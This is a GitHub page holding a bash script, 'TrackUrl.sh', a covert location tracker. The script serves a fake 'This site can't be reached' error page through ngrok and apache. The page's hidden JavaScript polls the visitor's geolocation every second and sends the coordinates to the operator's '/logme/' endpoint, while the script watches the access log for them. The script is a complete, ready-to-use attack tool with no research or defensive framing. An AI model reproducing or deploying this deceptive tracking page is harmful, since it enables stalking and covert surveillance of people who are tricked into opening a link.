-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathTrackUrl.sh
More file actions
90 lines (74 loc) · 2.96 KB
/
TrackUrl.sh
File metadata and controls
90 lines (74 loc) · 2.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/bin/bash
#64_bit
#xterm -e ./ngrok http 80 & clear
#32_Bit
xterm -e ./ngrok http 80 & clear
echo " ______________________________________________________
7 77 _ 77 _ 77 77 7 77 7 77 _ 77 7
!__ __!| _|| _ || ___!| __!| | || _|| |
7 7 | _ \ | 7 || 7___| || | || _ \ | !___
| | | 7 || | || 7| 7 || ! || 7 || 7
!__! !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
by- vkvbit
"
sleep 5
read -p ' URL: ' varurl
echo "<!DOCTYPE html>
<html>
<head>
<title>ERR_CONNECTION_TIMED_OUT</title>
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300&display=swap" rel="stylesheet">
<style type="text/css">
body {
font-family: 'Roboto', sans-serif;
margin: 15%;
margin-top: 35%;
font-size: 150%;
}
</style>
</head>
<body>
<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\" type='text/javascript' ></script>
<script type='text/javascript'>
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( \"GET\", theUrl, false ); // false for synchronous request
xmlHttp.send( null );
return xmlHttp.responseText;
}
function autoUpdate() {
navigator.geolocation.getCurrentPosition(function(position) {
coords = position.coords.latitude + \",\" + position.coords.longitude;
url = \""$varurl"/logme/\" + coords;
httpGet(url);
console.log('should be working');
setTimeout(autoUpdate, 1000);
})
};
\$(document).ready(function(){
autoUpdate();
});
</script>
<!-- target's page -->
<h1>This site can't be reached</h1>
<h3><b>www.google.com</b> took too long to respond</h3><br>
<h3>Try:</h3>
<h3>Checking the connection</h3><br>
<h3>ERR_CONNECTION_TIMED_OUT</h3>
</body>
</html>" > index.html
mv index.html /var/www/html/index.html
service apache2 start
echo " ______________________________________________________
7 77 _ 77 _ 77 77 7 77 7 77 _ 77 7
!__ __!| _|| _ || ___!| __!| | || _|| |
7 7 | _ \ | 7 || 7___| || | || _ \ | !___
| | | 7 || | || 7| 7 || ! || 7 || 7
!__! !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
by- vkvbit
" > /var/log/apache2/access.log
xterm -e tail -f /var/log/apache2/access.log &
clear
exit